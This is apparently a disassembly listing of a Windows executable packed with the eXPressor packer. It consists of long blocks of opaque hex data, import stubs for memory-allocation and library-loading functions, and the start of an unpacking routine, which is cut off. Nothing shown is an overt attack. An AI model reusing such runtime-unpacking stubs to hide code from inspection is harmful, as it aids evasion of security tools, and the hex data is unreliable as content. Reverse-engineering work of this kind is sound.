		dd 0D7EB9B23h, 82D44275h, 88388E35h, 0ACA181D7h, 0C00E9D27h
		dd 0CAB9CE68h, 600D89CDh, 799B995Bh, 261B9AFFh,	0CBCB9CEh
		dd 8A631C0Bh, 0C822589Dh, 880B4FB0h, 0C635D2E3h, 564397EFh
		dd 56046331h, 0A2B8869Eh, 0BD9F86F0h, 0F95E9A2Bh, 0D597E9BDh
		dd 7A6F216Dh, 7C9076Ch,	58D09918h, 3711D217h, 0B2AA2DD9h
		dd 27A92AE0h, 0F10A11Fh, 8C7B6B62h, 44780086h, 0DF8FD0D4h
		dd 4822A812h, 1BC789A6h
		dd 0AEFB0A9Bh, 0E238C3Dh, 69E6A6CBh, 42CB2A39h,	30C9BF85h
		dd 0F688EEAFh, 0ECCAC696h, 582F1101h, 0AFEC0A33h, 6FB2B17h
		dd 0AFFC58D7h, 12098282h, 63233B6Eh, 7680DF09h,	0D98B2076h
		dd 13107903h, 0A7990E46h, 0CC81ABCAh, 0FDABB06Eh, 3E47E157h
		dd 0B19E427Ah, 7BEEE8Bh, 0E3370301h, 0E651988h,	0AF2F1AB2h
		dd 0AC962E6Eh, 855F2E4Eh, 875862ABh, 85F88585h,	74077D56h
		dd 9FAA3A6Dh, 5AC53A7Eh, 5AE267FDh, 8299395Ch, 2E2CE7Bh
		dd 0BA6C0EDAh, 0C37C8DA8h, 2BB5E5DEh, 28471A79h, 0BCE29BBDh
		dd 94A3EA65h, 0F4D45258h, 129F8515h, 4D5F7E79h,	264F8781h
		dd 0DA292926h, 78941CE4h, 0E0F17D58h, 75FA5071h, 0A649F7A8h
		dd 0A226D71Ah, 32BEA143h, 0FEEA271Ah, 0A518F70Ah, 0A0C7759Eh
		dd 911C67A2h, 8A4E82FCh, 2F3A867Ch, 875B702Eh, 0EE249148h
		dd 9002A9D6h, 60116233h, 9E392A0Dh, 5FCB049Dh, 0E9359648h
		dd 4FAB12C8h, 6C7AF231h, 0ECA03069h, 28666EF9h,	38629516h
		dd 6B89ED2Fh, 0B96B52F9h, 85109F31h, 55C8626Eh,	0B3FDB889h
		dd 7E770458h, 580584DBh, 26AB876Dh, 9AED3E33h, 50FA5A7Bh
		dd 25E2A2B6h, 363BF24Ah, 0B8078DB9h, 832060D6h,	76517EFEh
		dd 7FD710D8h, 5D21B1D3h, 0B95C4F74h, 0A207684Dh, 163AD447h
		dd 0E155A064h, 352A2B4Eh, 0EAA6CFAEh, 34AAA4A7h, 166B4A3Fh
		dd 0C3EBFEEEh, 0DB0E9C6Dh, 0E8B8D351h, 82542B21h, 0EC98327Fh
		dd 0E8A37DADh, 85E8556Eh, 98C89ED5h, 5F8BAD61h,	0B9B390C3h
		dd 0A4AE9528h, 9FE37681h, 665B35A6h, 0AF35F15Ch, 8C0061FFh
		dd 4B12B300h, 0D0CD453Eh, 8F67C567h, 0EF31871Eh, 3BA7CD7h
		dd 52557B06h, 0A0BE9DB7h, 825574A5h, 72B4767Ch,	0FF7F048Bh
		dd 0FEB4E9F8h, 0ABB80E7Fh, 21D1886Ah, 5777D9DDh, 5F3B221h
		dd 0E4CB2B6Ch, 55B938FEh, 4206B39Ch, 859F7E37h,	8A231401h
		dd 13D5E262h, 0BD1952B6h, 8E48C9CCh, 70936BB2h,	4BED53E5h
		dd 7A6A4926h, 0FD8C2C3Ch, 943F7219h, 972525ACh,	2BC5513Fh
		dd 0A2100C62h, 0B60206FBh, 0D0AF081Ah, 0AB71F9E8h, 0B27E46C6h
		dd 0A96A96BFh, 9C602Dh,	0B04950CDh, 622E25DBh, 31246329h
		dd 0E7CF12A2h, 0E4A01CC2h, 78D9D66Fh, 323386D9h, 0FF749FF9h
		dd 3B717286h, 81793C6Ch, 93A77B36h, 0FFC656BEh,	2EB6E5ADh
		dd 0F44DFBC5h, 8628EF66h, 0AE573B2Fh, 384BA2EBh, 1A68D35Eh
		dd 0D14D5197h, 0F53DA433h, 8DC57D1Ah, 21B68570h, 36001B63h
		dd 90767EBEh, 2514A68Dh, 91EFD3C2h, 44CC31E8h, 0F8522F3Ch
		dd 0EEE6899Ch, 7BB21BFDh, 2028A6E6h, 7224E218h,	88C47261h
		dd 0E01A14E0h, 90B24158h, 3643213Eh, 15FA0AD8h,	0A9934201h
		dd 0C5EF9D40h, 7C19B901h, 3B8052A7h, 0C01FDD12h, 1ADA164Ah
		dd 0ECC867F0h, 70BBE71Bh, 4F72136h, 9C359D94h, 748C222Ch
		dd 0D1407A3h, 0F4FBB205h, 9BEBFF1Eh, 43D84996h,	2B2E2443h
		dd 7699A668h, 0A8DFE636h, 35B7BF18h, 0B2077361h, 0C587E149h
		dd 0AF4B4EE1h, 0FA530673h, 0F948D531h, 0AD820E12h, 0E32BD99Ah
		dd 0EBBE61A3h, 2050DB01h, 7F760459h, 675B0F27h,	9E0544C7h
		dd 0BEC41AC4h, 871415E1h, 2943621Ah, 8853888h, 1F9259Bh
		dd 4CC64533h, 5DFD9145h, 0F119F14Fh, 0DFC278CEh, 18D52DD0h
		dd 4476C687h, 2EFBC759h, 8E3B59B2h, 2653AD29h, 204C9365h
		dd 335D05C4h, 6CAABEA1h, 0E984FB1h, 28E47326h, 0AFCAFAA9h
		dd 2BDE4D2h, 65434C0h, 6E852692h, 60298120h, 877F207Dh
		dd 142C8362h, 0FF01921Eh, 94329478h, 9C471843h,	0F942EC42h
		dd 0D98E25Ah, 55B304E7h, 0A4F81BB0h, 15082167h,	0B4790AA3h
		dd 0C81563C2h, 1A0A8576h, 1D653322h, 0E32455EEh, 0D5F9B662h
		dd 6746B3A7h, 3D51D240h, 3DA158C1h, 0E415CB22h,	8A91E349h
		dd 0DD583E6Bh, 307613EDh, 9A9D2BAFh, 5A65DD5Bh,	94B1A1B2h
		dd 26C26B07h, 3CC8E67h,	9F3BDDCBh, 0B8D397AFh, 0FD63DD97h
		dd 9EF0CF64h, 35ADA958h, 89BFDDA8h, 0C10A2E4Ah,	9FF2E7AAh
		dd 3FEF8C82h, 0B3EB9D1Fh, 8F5B4DBDh, 27FFF706h,	0F0AF433Bh
		dd 3F7832A6h, 3CE5FF11h, 397A7409h, 0F7391C87h,	225D5EF6h
		dd 118DC4FCh, 0FCA9637Ch, 36416176h, 0BD5D5F75h, 0CFCBF29Fh
		dd 0B7411D71h, 0B1F7E240h, 5BB73561h, 97E2E0FBh, 0F0BCA959h
		dd 52D54AC8h, 472428ADh, 0AE9F769Fh, 0C6D7DFD6h, 84836DA3h
		dd 0A4B71862h, 78529421h, 979719ADh, 1DFD4569h,	57D04C34h
		dd 0D6529805h, 239B100Ah, 0B7B04BFDh, 0BB8D0CB0h, 36E01A0Bh
		dd 0C7FAC90Bh, 0D2FE52ECh, 3E0DC487h, 0DA78751Ch, 54B90CEEh
		dd 80DF623h, 0D57F4925h, 751FC7CAh, 598A4CD0h, 84CB437Fh
		dd 74A96A97h, 38D44C7Eh, 69E82B37h, 627D9B19h, 0D92258DBh
		dd 1776901Eh, 9127DE65h, 4FD24798h, 77C28A75h, 6F4D0458h
		dd 4FEC4F85h, 6E3CC9DAh, 7BD9B40Dh, 5CA7C074h, 75AFF43h
		dd 0C0930A02h, 985EB398h, 0F0046536h, 77B55EBAh, 7FD6CBCDh
		dd 6488C6EAh, 20624DF8h, 0A89B4630h, 0FC0FC13Dh, 984F7277h
		dd 5C841242h, 30AAF6Eh,	10CBA681h, 87A6ED13h, 0F88F2D19h
		dd 0E2B6EA2h, 0EC30DC3Ah, 5C1DDFC2h, 7D1EE7A7h,	5ECA782Dh
		dd 0F0310578h, 0AC672EB3h, 0EF4029D7h, 0A6BAFBEAh, 0F45F775h
		dd 0C0C7349Eh, 0D35B61Bh, 4BE63820h, 3262C101h,	39CA4CDAh
		dd 0D8A00D7Ah, 0D089BF63h, 0E87809BAh, 424EA2A8h, 0E1EEB37Bh
		dd 0FFD732BEh, 680ED054h, 921D7F66h, 24542088h,	5864C5E6h
		dd 7C3168ADh, 42612DE9h, 5CDE7557h, 1CEC1674h, 0B5358EBEh
		dd 35AE9D53h, 0FB2FABF1h, 4DA576E1h, 4D065639h,	60C24EA1h
		dd 0CE49A424h, 47806B37h, 9BC4BB4Ch, 917D2AF3h,	88C0C279h
		dd 72C29F18h, 2F5B7096h, 5D743B51h, 0A64CC60Ch,	4ADC08FCh
		dd 5AF198ECh, 6E636C60h, 188CA4BCh, 1D9A3D7Bh, 76C76D22h
		dd 0EA3E3A08h, 0D87D6FB0h, 21C5E38Bh, 27319D10h, 7D7B5F82h
		dd 59F84FE4h, 6F6FCD2h,	560058BAh, 0E89C74ECh, 0DA594A3Dh
		dd 63268C5Dh, 460B84A9h, 0EAF0E3FFh, 2989B30Fh,	0EEC6AD35h
		dd 0A68A333h, 216DF10h,	0C2D4AE6Fh, 6D11E84Bh, 0B1BA7ACCh
		dd 8613A818h, 41F44C59h, 94F5817Ah, 7A57B67Bh, 7EA2F779h
		dd 783DE230h, 0CC3CEFE4h, 0DE751C4Bh, 2D5461CDh, 81D0EE34h
		dd 0F4A889A3h, 2FE0C2DEh, 0AE1828E0h, 447A6A02h, 988974ACh
		dd 0BD2A7A4Ch, 0B6529217h, 55936BA9h, 0AE865C89h, 9F7A21D6h
		dd 1945F7FFh, 0A021BF48h, 3731D182h, 0D2F39121h, 983AEEE1h
		dd 0BAF606A8h, 0DE271F57h, 59BB8BC3h, 0BC61A9C6h, 4018C141h
		dd 30B7CE29h, 0B75EF18h, 4E0359D6h, 4AF8F3DCh, 7EC6DB28h
		dd 5959754h, 96DA1AEEh,	0B0C1B25Ch, 0EEBDC929h,	1A6C9867h
		dd 422258B9h, 0B8DBDED8h, 2F3AB132h, 0EB8B5A98h, 880D4F00h
		dd 7280A15Fh, 0C37A091Ah, 38F077BCh, 0FB4965F3h, 0B8C2E9A4h
		dd 3E5B9231h, 928BFCCh,	9019F0BDh, 905DA3F8h, 0C32E16FAh
		dd 10B1D7B0h, 0F7D2CA6Eh, 0DE7F89h, 6BB5D019h, 11D8DBDFh
		dd 406E7367h, 0F9675C7Fh, 684FA4ADh, 0A17622BDh, 0A7C841Eh
		dd 18B146ACh, 0F3E8BF35h, 49AFA636h, 3827A200h,	0D91E5545h
		dd 8EF8E39Eh, 0EF2E07E3h, 42B0806Bh, 4934730Bh,	1999F727h
		dd 0F5BD362Eh, 0EFDAF519h, 484DD65Ch, 4EA90BC6h, 3A50909Ch
		dd 693E3466h, 0A06DA092h, 0AC97AA03h, 0B4D58173h, 0F69F1C58h
		dd 769B4AE8h, 0B1021DF4h, 1E3F879Ch, 0FE71371Ch, 48A6571Eh
		dd 76A068E3h, 425F615Fh
		dd 99C91AEFh, 55916E04h, 955BD4B9h, 86B31AF4h, 6BEE1CA2h
		dd 5DECEEBEh, 1F841CDAh, 55E09CE5h, 35EDA105h, 0D0646EDDh
		dd 0D33FC428h, 0F7C53B01h, 0D15E595Ch, 0F3BA18FDh, 38DD2434h
		dd 942C7A78h, 0A5F69323h, 57D46C79h, 60A3D66Eh,	72C635AAh
		dd 23C03593h, 22AE247Eh, 6CEFFDCh, 1204CE1h, 4869A103h
		dd 587DC6E2h, 0D7CCCEA5h, 88BA90BAh, 5DDDDB0Ah,	1F12BB69h
		dd 90B2B53Eh, 486D838h,	5A529DC4h, 3D000D0Ah, 7DCE8FC0h
		dd 3E6C4DE6h, 9892335Fh, 57C5878Bh, 19523053h, 0A14B22DDh
		dd 367DF35Ah, 9C6FF6D3h, 0BB5078BCh, 16B6172h, 723D0D26h
		dd 0A9F04965h, 88D6290Ch, 1D048E56h, 753588D2h,	8FF3D982h
		dd 0FD6F296Fh, 0F9F7C898h, 0E7ED5A14h, 8A009A98h, 0D76F0F9Fh
		dd 0CC6B5D32h, 24677283h, 17315196h, 0A357DA14h, 8320F7C4h
		dd 109BB9E4h, 0C4BE727Ah, 3AD1D30Eh, 0E83B0365h, 0A8149624h
		dd 78B60C4h, 6E86C6FDh,	5781F4F2h, 0A73AB119h, 1DB001EEh
		dd 9FCA7B1Bh, 0A5382859h, 3E9DFCD4h, 9E94771Ah,	0FFFF1B72h
		dd 0E347B9Eh, 0C8C0777Ah, 7DB0F681h, 0F2379CC5h, 5F246177h
		dd 7C643849h, 0E90993EAh, 0CC369A8Ah, 0ECC4C0F0h, 0E3B9DF5Fh
		dd 0E2E5D441h, 6126D3FDh, 0F8282E0Fh, 0F20A08Eh, 0A811293Bh
		dd 0F5CCF32h, 83AEB777h, 22299BD1h, 0D0701852h,	0EC699D3Dh
		dd 0E3E4FA70h, 9D1725C4h, 9C8FA4EAh, 525E4B2h, 0E82D985h
		dd 0F07EADA1h, 0D853709Fh, 0B6A79FAFh, 0FD330FC0h, 0E6276695h
		dd 6D16A8B2h, 0ADEBB51h, 1EC77717h, 0A4D92C36h,	0D659855Eh
		dd 506C6A7Eh, 28874CB7h, 0F7F8B12Fh, 331102AFh,	0F9733D11h
		dd 3E41B830h, 0E311926Eh, 183F5694h, 3E332608h,	0C3BB8035h
		dd 934711F3h, 0D8A66F05h, 22655892h, 0B5128F89h, 8DECA6BFh
		dd 61C32377h, 8CA9880Bh, 96C9DF92h, 9828AFC9h, 0DE7659C3h
		dd 3F61E007h, 2491BBD5h, 119ED811h, 27589CE8h, 367E0DC2h
		dd 0C02CFEA2h, 0A8190D1Ah, 9DE396B6h, 1C0146B5h, 6139E6E1h
		dd 0E9FA6373h, 1E8641CAh, 24E6B0EAh, 55E659A5h,	1404B645h
		dd 0D2F2E29Fh, 11FAB5Eh, 0FA8E4127h, 3B4209AFh,	0CAA79D86h
		dd 93D7F116h, 545D21EBh, 38DB18DEh, 0B35833E7h,	1FF32A3Bh
		dd 0F0F2DADBh, 20C4CD2Ah, 9BDF9F0h, 1F79B88Dh, 9D4C64B8h
		dd 214C2B4Ah, 0E19FDC4Eh, 2FD6C117h, 5DB46FDBh,	8092C606h
		dd 0C1C2F88Ah, 0FF6340EFh, 8857BAD7h, 509FC832h, 0C0A23D0Ch
		dd 4BF15C28h, 0A653FD41h, 0EE64714h, 0FCB55427h, 0DD2D1519h
		dd 43C039F7h, 9B95BE6Ch, 988ED25Ah, 0A3E4E65Bh,	0F97BCEF4h
		dd 0E23C1055h, 0ADC18D75h, 0F5D85059h, 52620243h, 9F0BF6E9h
		dd 4DD451DCh, 253FB4D6h, 0D67B81Ch, 0E95698DCh,	0CE67B567h
		dd 5E8DECD2h, 0D052FE25h, 0AFF02978h, 8266D127h, 1C88DA2Dh
		dd 78FD64CCh, 0B2811279h, 8E1F0542h, 0BD8E764h,	0F183A40Bh
		dd 0D67790ECh, 9E2E2680h, 0DC666E1Eh, 0C3CCE03h, 2503B4A0h
		dd 0C5064CC5h, 0E05E7E49h, 0B5066E2h, 0DF8A3365h, 7CFDC6B4h
		dd 0AD06CFDDh, 0A2485E96h, 8F66576Eh, 411EB132h, 0F8368160h
		dd 29467D75h, 602FF995h, 414C45FAh, 9B491AFh, 0D857AB0Fh
		dd 38D0E08Ch, 0C2029216h, 0D782A385h, 0DDAF058Ch, 920405Ah
		dd 2887C874h, 7AB7E17Ah, 7263B140h, 82840E34h, 72C6B8E7h
		dd 2E2934D4h, 9DFA1D4Fh, 3CB92865h, 0BAEE4F05h,	9EB353DAh
		dd 0FABD3BBBh, 0AF42C295h, 7E11D8C5h, 3AA768C6h, 1ED220E4h
		dd 146701F4h, 3BE56548h, 0A77503F5h, 34BEEA95h,	8DD6011h
		dd 39FA605Ch, 88577F93h, 8DF7B512h, 0A60CBED0h,	88EE5B6Ch
		dd 2D2103FFh, 6470BC3Eh, 7E9545C9h, 66EE861h, 5EC50B1Bh
		dd 0C12E3730h, 0B6C39A3Dh, 0A6C9C859h, 0C347FC4Bh, 984D04BDh
		dd 0E88C946h, 0A6279E6Ah, 77C9EF73h, 0A6694E2Ch, 0CBFCB760h
		dd 2A0785E6h, 7AE838E2h, 8407CA8Ah, 6DC33ECEh, 9344A460h
		dd 0CF52C90Eh, 0D574FCB3h, 0E0C2C554h, 3719C9C7h, 2E995200h
		dd 0FF9B87DAh, 67777308h, 9558F926h, 6D9C4E74h,	0ACF084A1h
		dd 0FBC3237Ch, 1226D46Dh, 0F427D5BDh, 9BA8089Ch, 0EC1D5ABFh
		dd 81A64583h, 0A418851Eh, 89CB1FD2h, 0B9863705h, 0E5D632B8h
		dd 2A8C0E01h, 0A4AAB043h, 0D013F984h, 93651A21h, 444B490Dh
		dd 0AA51DFE2h, 0CEACD803h, 5C44D6Dh, 8E774C72h,	1F5581ACh
		dd 2548F867h, 84C63566h, 0C0852DB9h, 2F102F83h,	10376C91h
		dd 851B4381h, 8D37C1ACh, 9F4ACEDCh, 642ED09Fh, 5DE99E75h
		dd 0A81D73C5h, 7CB34D39h, 0DD0D9345h, 0CACD3FA6h, 0AF7257C5h
		dd 77E687B1h, 8EC253B6h, 53E20751h, 7D9001D9h, 6B5B0DD7h
		dd 9CECA52Ah, 0EF855169h, 0B199042Fh, 1B4224AEh, 3AD15188h
		dd 0BE11870Eh, 93B4B4B7h, 0E4C6382Fh, 0EFE31661h, 9C24B586h
		dd 5542B803h, 5050B232h, 41F970C4h, 0C075422Ch,	0B1C22E09h
		dd 0FED95FB6h, 0FB6FF61Fh, 7AD03281h, 6ABF3BC7h, 58430DEEh
		dd 4BF5F257h, 0F18A6602h, 0A42FD51Bh, 0D9EC4E2Fh, 8554E179h
		dd 76195EE0h, 0B1A6FF06h, 51F087A7h, 0A4D102Dh,	2DEDA4DAh
		dd 0F1AA1602h, 222CF4EFh, 0E421072Ah, 0C8B5C45Fh, 4709A519h
		dd 2AF51996h, 92742432h, 3E860499h, 6F06074Bh, 865E89F7h
		dd 0EF861715h, 79DE1DAAh, 0AC96083Ah, 6B6B3C6Dh, 85F32FBBh
		dd 0FE4C1601h, 0C4DD304Ch, 604E7BFBh, 752FFB9Fh, 404A1644h
		dd 7CBE48Fh, 0A300CC60h, 0E832F350h, 0F32BE5CCh, 0A94868BDh
		dd 135E2BADh, 6A32FF83h, 6F5A0F85h, 842C7A3Ch, 0E6B036F2h
		dd 0CFA19883h, 5A25F221h, 20DFC829h, 3EC6375h, 0F4BF4A2Bh
		dd 5EACBACAh, 7FE9FA85h, 0EB9FDCD0h, 0A82CDC04h, 8F7CF35Ch
		dd 0DFC56A37h, 8EE5569Bh, 55D9E4D0h, 67DCC30Bh,	0D1945DE5h
		dd 57D9591Bh, 5CEB14D8h, 15453471h, 11BEE91Dh, 93D32ECh
		dd 392452B7h, 0ACF33F63h, 34EA8960h, 628F3153h,	9F94DA8Ch
		dd 66DCCA77h, 555A8561h, 0E8886DC3h, 0BACAAF5Eh, 54631B10h
		dd 0D4719A6h, 4F4B1B9Dh, 6EBBBF37h, 1B41F2EEh, 507E58Fh
		dd 7FFAF326h, 4CDC184Bh, 0CE4089BCh, 981E22D8h,	0EAD91B28h
		dd 0CC3F4DAh, 0BD6016C6h, 9ACED9EAh, 5DEB44B1h,	0ACA4768Ah
		dd 5DE594E0h, 0F328973Ah, 2235E6h, 0E4494C2Ch, 0E714DCC0h
		dd 0EEBD250Dh, 0AA3C9377h, 0A9E7C193h, 1BD854Dh, 3B0FF246h
		dd 4B03BB5Eh, 0F51B6DBBh, 5A2A9D0Fh, 3CF9F4D5h,	0C2142B17h
		dd 58657AB9h, 34C99036h, 73434718h, 0FBFADF06h,	0E4CC2332h
		dd 0DB197E06h, 57AD27DAh, 68A6E4AFh, 9803708Eh,	0C94A9F29h
		dd 0F725933Ch, 0C48FC49Dh, 0AFCF7F2Ah, 83D70BE1h, 6D2BFD3Fh
		dd 36BEF09Eh, 94C43D60h, 0B8568FB7h, 0E79E8361h, 3ECFB7F0h
		dd 37D85156h, 0D9AAB1ABh, 46DDCEA4h, 0EF8B7904h, 0B5AE08E6h
		dd 83567A1Bh, 3F317C0Fh, 2F7FCFB0h, 0B7CA6148h,	5B0F2A24h
		dd 0EC8148BCh, 0A1841B9h, 0FFC7A7CCh, 7F0E99BAh, 0E013433Ah
		dd 96BF8722h, 15DCCBFh,	7E7E8267h, 0F231D07h, 0F96D9619h
		dd 43E5FFB6h, 7C8043C0h, 2EDBCE87h, 81746B91h, 0CAD83F1Ch
		dd 0B1FA17E2h, 0D68B80D4h, 0F82278B4h, 0A33B5104h, 5C14D23Eh
		dd 622BE167h, 8AC55916h, 358BADCBh, 0B27032C5h,	0EFB0F750h
		dd 3A7B162Ch, 63EDBF62h, 9EB6193Fh, 0A405BEA2h,	211A3CE9h
		dd 0CE2CC3Fh, 0C44C59BDh, 14BCD3A5h, 0A4151053h, 0C30CA2FCh
		dd 53FE5180h, 30BBF814h, 3C99553Ah, 0D5A5B2CCh,	3029B52Ah
		dd 6ACF6653h, 0F63C7FC3h
		dd 0A98079D9h, 0E412E319h, 564CEFB5h, 0BEE6DC9Dh, 0FC33E5D2h
		dd 0FF66318Ah, 42F711BBh, 194A4C66h, 60CBB162h,	4AF03C9h
		dd 0DC1D8414h, 8C7243B8h, 2596A4F6h, 0EA2E3431h, 0ECB1DD57h
		dd 0C41FC510h, 684689B4h, 87BEEFC7h, 71416A4Ah,	6E70F22Dh
		dd 8830C3D8h, 0B8EA2B27h, 67408826h, 9D8A5022h,	64ACC26Dh
		dd 0D76DF7C0h, 92469848h, 0A144FD59h, 0DC152B0Bh, 31A12702h
		dd 681364F8h, 0B28C527Dh, 0A3363A4Fh, 6A2F1A9Eh, 5C2758F1h
		dd 0DAE4FEBDh, 52716519h, 869F6E94h, 9B1598CCh,	86DA3583h
		dd 0E1FE474Dh, 0E9F12E07h, 11893089h, 0A7FC06AFh, 0B1C95272h
		dd 5BB0B725h, 53913982h, 49C3BCCDh, 6D79BBFFh, 690E3A15h
		dd 0A733CEF7h, 0AB7626E4h, 50798123h, 0B7ECC4F6h, 7B4ACD21h
		dd 0AA78E845h, 0B9257F50h, 8B386E92h, 58842C0Fh, 0A55A51BEh
		dd 6E3D5336h, 2B26C4C6h, 0BF901EB7h, 0AE098FBBh, 0E98F310Bh
		dd 98F23F01h, 3A4749A9h, 377B32EDh, 846D0503h, 2FA10945h
		dd 2CF03DDBh, 4F3103B5h, 0D9BBD20Bh, 0ADC7F401h, 975A6977h
		dd 99F4D42Fh, 2618DB38h, 0D50BD8FFh, 469ACA6Fh,	8E47203h
		dd 93CA4514h, 0EEF17C01h, 0ED46FB3Dh, 9205D313h, 6BCB15A5h
		dd 537C9ABh, 0DAA4F50Dh, 0B8CE602h, 0C2534BAEh,	167E5143h
		dd 7CE60CE2h, 6C5B4CF4h, 995798F4h, 70B2E2F8h, 0B3E0FAD4h
		dd 5114CC31h, 7DF91091h, 0C0E9D346h, 0AF86AEF7h, 0CE92DE0h
		dd 0F4005DE8h, 0EC28A1BDh, 0E70B9BDCh, 0FC6EF44Ah, 26DD3C77h
		dd 4FCFE0F1h, 0C8F05521h, 0BD6A4BFh, 49D4E851h,	47F17Ah
		dd 0B7CAD2B7h, 92D801FAh, 0D41EAD92h, 67D14735h, 9689BC0h
		dd 9C417876h, 6E8A23E6h, 175485ECh, 8022EFF5h, 767B4FDFh
		dd 14CD4691h, 93C2598h,	63FEC9A0h, 0D9B3D99Fh, 7D5AE24Dh
		dd 0D327A285h, 6FF44CADh, 78D904B5h, 1AD6E6BCh,	6B19358Fh
		dd 0D9210FEh, 6B018FE9h, 0A32D7044h, 76BA4A6Bh,	0FEDF0C2Ah
		dd 2951E4ACh, 0FD31B7A0h, 62D09C47h, 9AC8E866h,	0C8F563FFh
		dd 1243A255h, 9908B4B9h, 665CCD2Ch, 903BFBC0h, 3E0951C1h
		dd 0B1CAFAEh, 48B309B9h, 0EE3223DAh, 151E30E3h,	9A1351ACh
		dd 9B198B5h, 7D3D4C41h,	6ADB0F40h, 0E7B2E562h, 0FA6DB82Eh
		dd 7E4B2566h, 22CEBFB4h, 0D7357A0Eh, 94C958FEh,	0DBFF0A31h
		dd 36CBE7DBh, 0D087E4BDh, 0C0DA1E3Fh, 7B95EBEBh, 0E1A9C9CFh
		dd 407FA55h, 0B4F73962h, 3E1C1494h, 0AD11DA3Fh,	0F6C07BCEh
		dd 28AA07CEh, 22A674CBh, 9EE4A664h, 0E2A32F52h,	0CB5857A5h
		dd 0FFFFD9CDh, 8F682Dh,	3E8h dup(0)
dword_42B000	dd 1200h						; sub_42B42C+70o
off_42B004	dd offset dword_42C200	; DATA XREF: sub_42B41Dr
					; sub_42B42C+75w ...
dword_42B008	dd 400000h						; sub_42B42C+131r ...
dword_42B00C	dd 1							; sub_42B42C:loc_42B48Dw
dword_42B010	dd 0							; sub_42B42C+5F2r ...
dword_42B014	dd 0							; sub_42B42C+45r
dword_42B018	dd 0		dword_42B01C	dd 0							; sub_42B42C:loc_42BA2Ar
		dd 0
aThisApplicatio	db 'This application was packed with an Unregistered version of eXPre'
					; DATA XREF: sub_42B42C+8Co
		db 'ssor.',0Ah
		db 'For registration, please visit www.cgsoftlabs.ro',0
aInfo		db 'Info',0             ; DATA XREF: sub_42B42C+87o
		align 4
		dd 2B0E0h, 2 dup(0)
		dd 2B1C4h, 2B10Ch, 2B104h, 2 dup(0)
		dd 2B1E0h, 2B130h, 10h dup(0)
dword_42B10C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_42B42C+287r ...
dword_42B110	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_42B42C+171r
dword_42B114	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_42B118	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_42B42C+558r
dword_42B11C	dd 7C801D4Fh	; resolved to->KERNEL32.LoadLibraryExA					; sub_42B42C+48Dr
dword_42B120	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_42B124	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtect					; sub_42B42C+583r
dword_42B128	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA		align 10h
dword_42B130	dd 7E45058Ah	; resolved to->USER32.MessageBoxA		dd 2Eh dup(0)
		dd 8000005Eh, 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh
		dd 56237822h, 71BA0D54h, 68772094h, 0FC301F0Eh,	917A159Eh
		dd 7F0F3FE0h, 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h
		dd 5DAEBB6Dh, 1EA6E26h,	98CBC360h, 7E1B00A6h, 0AD00C202h
		dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h,	864D550h
		dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh
		dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h
		dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh,	0AE1D8589h
		dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h,	67207267h
		dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h,	0C5FB263Ah
		dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h,	8EB4B4B3h
		dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h
		dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh
		dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h
		dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h,	0FAACA3D8h
		dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh
		dd 4157BD1h, 5DE20A8Eh,	483BBDA5h, 0FFBC7CE5h, 125B38h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B344	proc near		; CODE XREF: sub_42B42C+1E5p
					; sub_42B42C+3AAp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_42B3B6
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_42B374
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax


loc_42B36E:				; CODE XREF: sub_42B344+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_42B36E


loc_42B374:				; CODE XREF: sub_42B344+1Bj
		cmp	cl, 9
		jb	short loc_42B38B
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax


loc_42B385:				; CODE XREF: sub_42B344+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_42B385


loc_42B38B:				; CODE XREF: sub_42B344+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	dword_42B110	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_42B3BB


loc_42B3B6:				; CODE XREF: sub_42B344+11j
		push	1
		pop	eax
		jmp	short loc_42B418
; ---------------------------------------------------------------------------


loc_42B3BB:				; CODE XREF: sub_42B344+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
